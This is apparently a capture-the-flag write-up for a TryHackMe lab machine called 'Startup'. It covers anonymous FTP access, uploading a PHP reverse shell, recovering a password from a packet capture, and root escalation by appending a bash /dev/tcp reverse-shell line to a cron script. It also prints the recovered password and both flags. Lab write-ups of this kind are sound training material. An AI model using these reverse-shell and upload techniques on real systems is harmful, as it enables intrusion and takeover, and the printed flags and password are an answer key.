Skip to content

Latest commit

 

History

History
210 lines (125 loc) · 5.56 KB

startup.md

File metadata and controls

210 lines (125 loc) · 5.56 KB

Abuse traditional vulnerabilities via untraditional means.

Scanning

first, we scan with nmap

nmap -A -T4 10.10.86.86

image

we can see 3 open ports are ftp (21), ssh (22) and http (80)

the most notable is ftp

image

FTP

ftp 10.10.86.86
Name (10.10.86.86:admin): anonymous
Password:

image

you maybe get an error like this

image

the solution is pass mode on

image

download all files to local and exit

get .test.log
get ftp
get important.jpg
get notice.txt

nothing here

image

important.jpg

image

HTTP

quick look at website

image

nothing much here

image

Enumeration

scan directories with gobuster

gobuster dir -u http://10.10.86.86/ -w /usr/share/wordlists/dirb/common.txt -t 30

image

go to /files

image

it's the interface of ftp

Exploitation

prepare a web shell and change to your ip

cp /usr/share/webshells/php/php-reverse-shell.php reverse.php
vi reverse.php

let's go back to fpt and upload our shell

cd ftp
put reverse.php

image

now we can see our shell here

image

create listener and open file on browser

nc -vlnp 1234
python -c 'import pty;pty.spawn("/bin/bash")'

image

and the secret spicy soup recipe is love

image

let's see what in 2 suspicious folders here

image

hmm, a pcapng file, i will take it back to research

cp /incidents/suspicious.pcapng /var/www/html/files/ftp/

image

image

Cracking

open captured file with wireshark

wireshark -r ./Downloads/suspicious.pcapng 

image

our concern should be http protocol, i see someone has request a web shell in the past

image

let's take a look at tcp traffic 4444 dump it all out to plain text

image

after lookup, i can see here is the password for lennie

image

or you can use strings if you don't familiar with wireshark

strings suspicious.pcapng

image

su lennie
c4ntg3t3n0ughsp1c3

image

flag here

image

Flag user.txt
Answer THM{03ce3d619b80ccbfb3b7fc81e46c0e79}

Privilege Escalation

there is a scripts folder

image

this file will run with root permission which is one key of privilege

image

it also run a file with lennie permission

image

create a reverse shell

echo "bash -i >& /dev/tcp/10.8.0.74/4444 0>&1" >> /etc/print.sh

open netcat and wait it back

nc -vlnp 4444

image

flag here

image

Flag root.txt
Answer THM{f963aaa6a430f210222158ae15c3d76d}